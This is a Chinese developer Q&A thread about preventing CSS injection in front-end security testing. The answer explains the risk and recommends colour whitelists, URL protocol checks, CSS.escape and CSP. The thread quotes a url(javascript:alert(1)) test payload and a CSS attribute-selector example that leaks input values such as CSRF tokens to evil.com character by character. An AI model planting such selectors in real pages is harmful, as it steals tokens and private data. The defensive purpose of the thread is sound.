前端渗透测试中如何防范CSS注入攻击?

❤恒菽 阅读 8

我在做安全测试时,发现用户输入的样式能直接渲染到页面上,担心有CSS注入风险。比如下面这段动态生成的CSS:

.user-style {
  background: url(' + userInput + ');
  color: #333;
}

虽然目前只允许传入颜色值或URL,但测试时用 background: url(javascript:alert(1)) 居然触发了脚本!这算XSS还是CSS注入?该怎么防御?

我来解答 赞 6 收藏
二维码
手机扫码查看
1 条解答
程序猿传禄
好家伙,这个问题我之前也踩过坑!先说结论:你这情况严格来说属于CSS注入,但因为能执行JS,最终效果等同于存储型XSS,危害是一样的。

那个 url(javascript:alert(1)) 在老版本IE里确实能弹窗,现代浏览器虽然堵住了这个口子,但CSS注入的风险远不止这点。

攻击者可以用CSS选择器配合 url() 往外部服务器发请求,窃取页面里的敏感数据。比如这样:

input[value^="a"] { background: url("https://evil.com/steal?a"); }
input[value^="b"] { background: url("https://evil.com/steal?b"); }


只要输入框的value以某个字符开头,就会触发请求,攻击者逐字符猜解就能拿到CSRF token、用户隐私信息这些。

我的做法是这样的:

第一,能不用动态CSS就不用,改用CSS变量配合预设白名单。

// 只允许预定义的颜色值
const allowedColors = ['#333', '#666', '#999', 'red', 'blue'];
const userColor = allowedColors.includes(input) ? input : '#333';

// 在模板里用CSS变量
const style =
.user-style {
background-color: var(--user-bg, #fff);
color: var(--user-color, #333);
}
;


第二,如果非要让用户传URL,必须做协议校验,只允许 http 和 https:

function sanitizeCSSUrl(url) {
try {
const parsed = new URL(url);
if (!['http:', 'https:'].includes(parsed.protocol)) {
return '';
}
return parsed.href;
} catch {
return '';
}
}


第三,输入值一定要用 CSS.escape() 转义,防止注入特殊字符:

const safeValue = CSS.escape(userInput);


第四,上CSP策略,禁止内联样式和外部CSS加载,从根源上限制:



说实话,CSS注入这块经常被忽略,但危害真不小。我之前项目里就因为这个漏报过,后来安全审计才被发现,改得我头皮发麻。建议你把动态CSS全改成CSS变量+白名单的方式,一劳永逸。
点赞 1
2026-03-01 08:03